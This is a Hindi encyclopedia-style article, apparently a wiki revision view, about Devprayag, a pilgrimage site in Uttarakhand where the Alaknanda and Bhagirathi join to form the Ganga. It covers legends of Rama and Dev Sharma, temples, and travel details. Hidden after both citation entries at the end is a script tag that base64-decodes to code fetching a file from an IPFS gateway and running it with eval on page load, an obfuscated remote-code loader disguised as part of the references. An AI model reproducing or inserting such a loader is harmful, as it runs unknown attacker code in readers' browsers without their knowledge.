"देवप्रयाग" के अवतरणों में अंतर

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[[चित्र:Devprayag.jpg|thumb|300px|देवप्रयाग, [[उत्तराखंड]]]]
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'''देवप्रयाग''' [[उत्तराखंड]] में [[कुमायूँ]] [[हिमालय]] के केंद्रीय क्षेत्र में [[टिहरी गढ़वाल ज़िला|टिहरी गढ़वाल ज़िले]] में एक प्रसिद्ध तीर्थस्थान है।
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*देवप्रयाग में श्री रघुनाथ जी का मंदिर है, जहाँ [[हिंदू]] तीर्थयात्री [[भारत]] के कोने कोने से आते हैं।
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|विवरण='देवप्रयाग' [[हिन्दू|हिन्दुओं]] के प्रसिद्ध धार्मिक स्थलों में से एक है। यहाँ [[अलकनंदा नदी|अलकनंदा]] तथा [[भागीरथी नदी|भागीरथी]] नदियों का [[संगम]] हुआ है।
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*देवप्रयाग से दोनों नदियों की सम्मिलित धारा '[[गंगा]]' कहलाती है।  
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*देवप्रयाग से [[टिहरी गढ़वाल]] 18 मील दक्षिण-पूर्व दिशा में स्थित है।  
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*प्राचीन हिंदू मंदिर के कारण इस तीर्थस्थान का विशेष महत्व है।  
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'''देवप्रयाग''' [[उत्तराखण्ड]] में [[कुमायूँ]] [[हिमालय]] के केंद्रीय क्षेत्र में [[टिहरी गढ़वाल ज़िला|टिहरी गढ़वाल ज़िले]] में स्थित एक प्रसिद्ध [[तीर्थ|तीर्थ स्थान]] है। यह [[अलकनंदा नदी|अलकनंदा]] तथा [[भागीरथी नदी|भागीरथी]] नदियों के [[संगम]] पर स्थित है। इसी संगम स्थल के बाद से नदी को '[[गंगा]]' के नाम से जाना जाता है। संगम स्थल पर स्थित होने के कारण तीर्थराज [[प्रयाग]] की भाँति ही देवप्रयाग का भी धार्मिक महत्त्व अत्यधिक है। [[हिन्दू|हिन्दुओं]] के सर्वश्रेष्ठ धार्मिक स्थलों में से देवप्रयाग एक है।
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==स्थिति==
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देवप्रयाग [[समुद्र]] की सतह से 830 मीटर की ऊंचाई पर स्थित है। इसका सबसे निकटतम शहर [[ऋषिकेश]] है, जो यहाँ से 70 किलोमीटर दूर है। यह स्थान [[उत्तराखण्ड|उत्तराखण्ड राज्य]] के [[पंचप्रयाग|पंच प्रयागों]] में से एक माना जाता है।
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====नामकरण====
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देवप्रयाग भगवान [[राम|श्रीराम]] से जुड़ा विशिष्ट [[तीर्थ]] है। देवप्रयाग को लेकर एक बड़ी प्राचीन कथा है, जिसके अनुसार- [[सत युग]] में देव शर्मा नामक एक [[ब्राह्मण]] ने यहाँ बड़ा कठोर तप किया, इससे प्रसन्न होकर भगवान [[विष्णु]] ने उसे वरदान दिया कि यह स्थान कालान्तर में तुम्हारे नाम से प्रसिद्ध होगा। तभी से इसे 'देव प्रयाग' कहा जाने लगा।
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==कथा==
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दोनों ओर ऊँचे पहाड़ों से घिरा यह [[संगम]] भगवान श्रीराम की हज़ारों साल पुरानी स्मृतियों को आज भी अपने में समेटे हुए है। कथा है कि जब [[लंका]] विजय कर [[राम]] लौटे तो जहां राक्षसी शक्ति के संहार का यश उनके साथ जुड़ा था, वहीं [[रावण]] वध के बाद ब्राह्मण हत्या का प्रायश्चित दोष भी उन्हें लगा। ऋषि-मुनियों ने उन्हें सुझाया कि देवप्रयाग में भागीरथी और अलकनंदा के संगम तट पर तपस्या करने से ही उन्हें ब्राह्मण हत्या के दोष से मुक्ति मिल सकती है। श्रीराम मर्यादा पुरुषोत्तम थे, निष्कलंक जीवनव्रती। वे ब्राह्मण हत्या का कलंक लेकर कैसे जी सकते थे। इसलिए उन्होंने ऋषि-मुनियों का आदेश शिरोधार्य कर इस स्थान को अपनी साधना स्थली बनाया और यहीं एक शिला पर बैठकर दीर्घ अवधि तक तप किया। पंडे-[[पुरोहित]] उस शिला को दिखाते हैं। इस विशाल शिला पर आज भी ऐसे निशान बने हैं, जैसे लंबे समय तक किसी के वहां पालथी मारकर बैठने से घिसकर बने हों। एक शिला पर चरणों की सी आकृति बनी है, जो भगवान राम के चरण चिन्ह बताए जाते हैं।<ref>{{cite web |url= http://panchjanya.com/arch/2008/12/21/File42.htm|title=रावण वध के बाद देवप्रयाग में श्रीराम ने की थी तपस्या-राम ने किया प्रायश्चित |accessmonthday=27 जुलाई|accessyear= 2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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==आकर्षक स्थल==
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इसके बारे में कहा जाता है कि जब [[भगीरथ|राजा भगीरथ]] ने गंगा को [[पृथ्वी]] पर उतरने को राजी कर लिया तो 33 करोड़ देवी-देवता भी गंगा के साथ स्वर्ग से उतरे। तब उन्होंने अपना आवास देवप्रयाग में बनाया, जो गंगा की जन्म भूमि है। [[गढ़वाल|गढ़वाल क्षेत्र]] मे मान्यतानुसार भगीरथी नदी को 'सास' तथा अलकनंदा नदी को 'बहू' कहा जाता है। यहाँ के मुख्य आकर्षण में संगम के अलावा एक शिव मंदिर तथा रघुनाथ मंदिर हैं, जिनमें रघुनाथ मंदिर द्रविड शैली से निर्मित है। देवप्रयाग प्राकृतिक संपदा से परिपूर्ण है। यहाँ का सौन्दर्य अद्वितीय है। इसके निकट डांडा नागराज मंदिर और चंद्रबदनी मंदिर भी दर्शनीय हैं। देवप्रयाग को 'सुदर्शन क्षेत्र' भी कहा जाता है। यहाँ कौवे दिखायी नहीं देते, जो की एक आश्चर्य की बात है।<ref>{{cite web |url= http://www.shrinews.com/DetailNews.aspx?nid=32603|title=पंचप्रयागों में एक देवप्रयाग|accessmonthday= 27 जुलाई|accessyear= 2014|last= |first= |authorlink= |format= |publisher= श्री न्यूज|language=हिन्दी}}</ref>
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==संगम==
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[[चित्र:Confluence-of-Alaknanda-and-Bhagirathi.JPG|thumb|250px|बाएँ से [[अलकनंदा नदी|अलकनंदा]] तथा दाएँ से [[भागीरथी नदी|भागीरथी]] का संगम]]
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यहाँ पहाड़ के एक तरफ़ से [[अलकनंदा नदी|अलकनंदा]] और दूसरी ओर से [[भागीरथी नदी|भागीरथी]] आकर जिस बिन्दु पर मिलती हैं, वह दृश्य अद्भुत है। लगता है घंटों अपलक निहारते रहें। यह संगम 'सास-बहू' के मिलन स्थल के रूप में भी प्रसिद्ध है। 'सास' यानी भागीरथी और 'बहू' यानी अलकनंदा। भागीरथी जिस तरह हरहराकर, उछलती कूदती, तांडव-सा करती यहाँ पहुंचती है, उसे सास का प्रतिरूप माना गया है और अलकनंदा शांत, शरमाती-सी मानो लोकलाज में बंधी बहू का रूप धर अपने अस्तित्व को समर्पित कर देती है। दोनों की धाराएं मिलते हुए साफ देखी जा सकती हैं। अलकनंदा का [[जल]] थोड़ा मटमैला-सा, जबकि भागीरथी का निरभ्र आकाश जैसा [[नीला रंग|नीला]] जल।
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====व्यवसाय====
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देवप्रयाग में [[चावल]], [[गेहूँ]], [[जौ]], सरसों, राई और [[आलू]] का व्यवसाय होता है।
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;कब जाएँ
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[[जनवरी]] से [[जून]] और [[सितंबर]] से [[दिसंबर]] का समय देवप्रयाग जाने के लिए उचित है।
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==कैसे पहुँचें==
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देवप्रयाग पहुंचने के लिए [[उत्तराखण्ड]] परिवहन की बस सेवा ली जा सकती है। साथ ही यात्री अपनी निजी गाड़ी से भी यहाँ पहुंच सकते हैं। इसका निकटतम रेलवे स्टेशन [[ऋषिकेश]] है और निकटतम हवाई अड्डा जौली ग्रांट है, जो [[देहरादून]] में स्थित हैं। देश की राजधानी [[दिल्ली]] से इस स्थान की दूरी लगभग 300 किलोमीटर है।
  
 
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==टीका टिप्पणी और संदर्भ==
 
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09:54, 28 सितम्बर 2016 के समय का अवतरण

देवप्रयाग
अलकनंदा तथा भागीरथी नदियों का संगम स्थल
विवरण 'देवप्रयाग' हिन्दुओं के प्रसिद्ध धार्मिक स्थलों में से एक है। यहाँ अलकनंदा तथा भागीरथी नदियों का संगम हुआ है।
राज्य उत्तराखण्ड
ज़िला टिहरी गढ़वाल
भौगोलिक स्थिति समुद्र की सतह से 830 मीटर की ऊंचाई पर स्थित।
प्रसिद्धि हिन्दू धार्मिक स्थल
कब जाएँ जनवरी से जून और सितंबर से दिसंबर
हवाई अड्डा जौली ग्रांट, देहरादून
रेलवे स्टेशन ऋषिकेश
क्या देखें 'रघुनाथ मंदिर', 'डांडा नागराज मंदिर', 'चंद्रबदनी मंदिर' आदि।
विशेष देवप्रयाग को 'सुदर्शन क्षेत्र' भी कहा जाता है। यहाँ कौवे दिखायी नहीं देते, जो की एक आश्चर्य की बात है।
अन्य जानकारी देव शर्मा नामक एक ब्राह्मण की कठिन तपस्या से प्रसन्न होकर भगवान विष्णु ने उसे वरदान दिया था। देव शर्मा के नाम पर ही देवप्रयाग नाम प्रचलन में आया।

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देवप्रयाग उत्तराखण्ड में कुमायूँ हिमालय के केंद्रीय क्षेत्र में टिहरी गढ़वाल ज़िले में स्थित एक प्रसिद्ध तीर्थ स्थान है। यह अलकनंदा तथा भागीरथी नदियों के संगम पर स्थित है। इसी संगम स्थल के बाद से नदी को 'गंगा' के नाम से जाना जाता है। संगम स्थल पर स्थित होने के कारण तीर्थराज प्रयाग की भाँति ही देवप्रयाग का भी धार्मिक महत्त्व अत्यधिक है। हिन्दुओं के सर्वश्रेष्ठ धार्मिक स्थलों में से देवप्रयाग एक है।

स्थिति

देवप्रयाग समुद्र की सतह से 830 मीटर की ऊंचाई पर स्थित है। इसका सबसे निकटतम शहर ऋषिकेश है, जो यहाँ से 70 किलोमीटर दूर है। यह स्थान उत्तराखण्ड राज्य के पंच प्रयागों में से एक माना जाता है।

नामकरण

देवप्रयाग भगवान श्रीराम से जुड़ा विशिष्ट तीर्थ है। देवप्रयाग को लेकर एक बड़ी प्राचीन कथा है, जिसके अनुसार- सत युग में देव शर्मा नामक एक ब्राह्मण ने यहाँ बड़ा कठोर तप किया, इससे प्रसन्न होकर भगवान विष्णु ने उसे वरदान दिया कि यह स्थान कालान्तर में तुम्हारे नाम से प्रसिद्ध होगा। तभी से इसे 'देव प्रयाग' कहा जाने लगा।

कथा

दोनों ओर ऊँचे पहाड़ों से घिरा यह संगम भगवान श्रीराम की हज़ारों साल पुरानी स्मृतियों को आज भी अपने में समेटे हुए है। कथा है कि जब लंका विजय कर राम लौटे तो जहां राक्षसी शक्ति के संहार का यश उनके साथ जुड़ा था, वहीं रावण वध के बाद ब्राह्मण हत्या का प्रायश्चित दोष भी उन्हें लगा। ऋषि-मुनियों ने उन्हें सुझाया कि देवप्रयाग में भागीरथी और अलकनंदा के संगम तट पर तपस्या करने से ही उन्हें ब्राह्मण हत्या के दोष से मुक्ति मिल सकती है। श्रीराम मर्यादा पुरुषोत्तम थे, निष्कलंक जीवनव्रती। वे ब्राह्मण हत्या का कलंक लेकर कैसे जी सकते थे। इसलिए उन्होंने ऋषि-मुनियों का आदेश शिरोधार्य कर इस स्थान को अपनी साधना स्थली बनाया और यहीं एक शिला पर बैठकर दीर्घ अवधि तक तप किया। पंडे-पुरोहित उस शिला को दिखाते हैं। इस विशाल शिला पर आज भी ऐसे निशान बने हैं, जैसे लंबे समय तक किसी के वहां पालथी मारकर बैठने से घिसकर बने हों। एक शिला पर चरणों की सी आकृति बनी है, जो भगवान राम के चरण चिन्ह बताए जाते हैं।[1]

आकर्षक स्थल

इसके बारे में कहा जाता है कि जब राजा भगीरथ ने गंगा को पृथ्वी पर उतरने को राजी कर लिया तो 33 करोड़ देवी-देवता भी गंगा के साथ स्वर्ग से उतरे। तब उन्होंने अपना आवास देवप्रयाग में बनाया, जो गंगा की जन्म भूमि है। गढ़वाल क्षेत्र मे मान्यतानुसार भगीरथी नदी को 'सास' तथा अलकनंदा नदी को 'बहू' कहा जाता है। यहाँ के मुख्य आकर्षण में संगम के अलावा एक शिव मंदिर तथा रघुनाथ मंदिर हैं, जिनमें रघुनाथ मंदिर द्रविड शैली से निर्मित है। देवप्रयाग प्राकृतिक संपदा से परिपूर्ण है। यहाँ का सौन्दर्य अद्वितीय है। इसके निकट डांडा नागराज मंदिर और चंद्रबदनी मंदिर भी दर्शनीय हैं। देवप्रयाग को 'सुदर्शन क्षेत्र' भी कहा जाता है। यहाँ कौवे दिखायी नहीं देते, जो की एक आश्चर्य की बात है।[2]

संगम

बाएँ से अलकनंदा तथा दाएँ से भागीरथी का संगम

यहाँ पहाड़ के एक तरफ़ से अलकनंदा और दूसरी ओर से भागीरथी आकर जिस बिन्दु पर मिलती हैं, वह दृश्य अद्भुत है। लगता है घंटों अपलक निहारते रहें। यह संगम 'सास-बहू' के मिलन स्थल के रूप में भी प्रसिद्ध है। 'सास' यानी भागीरथी और 'बहू' यानी अलकनंदा। भागीरथी जिस तरह हरहराकर, उछलती कूदती, तांडव-सा करती यहाँ पहुंचती है, उसे सास का प्रतिरूप माना गया है और अलकनंदा शांत, शरमाती-सी मानो लोकलाज में बंधी बहू का रूप धर अपने अस्तित्व को समर्पित कर देती है। दोनों की धाराएं मिलते हुए साफ देखी जा सकती हैं। अलकनंदा का जल थोड़ा मटमैला-सा, जबकि भागीरथी का निरभ्र आकाश जैसा नीला जल।

व्यवसाय

देवप्रयाग में चावल, गेहूँ, जौ, सरसों, राई और आलू का व्यवसाय होता है।

कब जाएँ

जनवरी से जून और सितंबर से दिसंबर का समय देवप्रयाग जाने के लिए उचित है।

कैसे पहुँचें

देवप्रयाग पहुंचने के लिए उत्तराखण्ड परिवहन की बस सेवा ली जा सकती है। साथ ही यात्री अपनी निजी गाड़ी से भी यहाँ पहुंच सकते हैं। इसका निकटतम रेलवे स्टेशन ऋषिकेश है और निकटतम हवाई अड्डा जौली ग्रांट है, जो देहरादून में स्थित हैं। देश की राजधानी दिल्ली से इस स्थान की दूरी लगभग 300 किलोमीटर है।


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वीथिका

टीका टिप्पणी और संदर्भ

  1. रावण वध के बाद देवप्रयाग में श्रीराम ने की थी तपस्या-राम ने किया प्रायश्चित (हिन्दी)। । अभिगमन तिथि: 27 जुलाई, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. पंचप्रयागों में एक देवप्रयाग (हिन्दी) श्री न्यूज। अभिगमन तिथि: 27 जुलाई, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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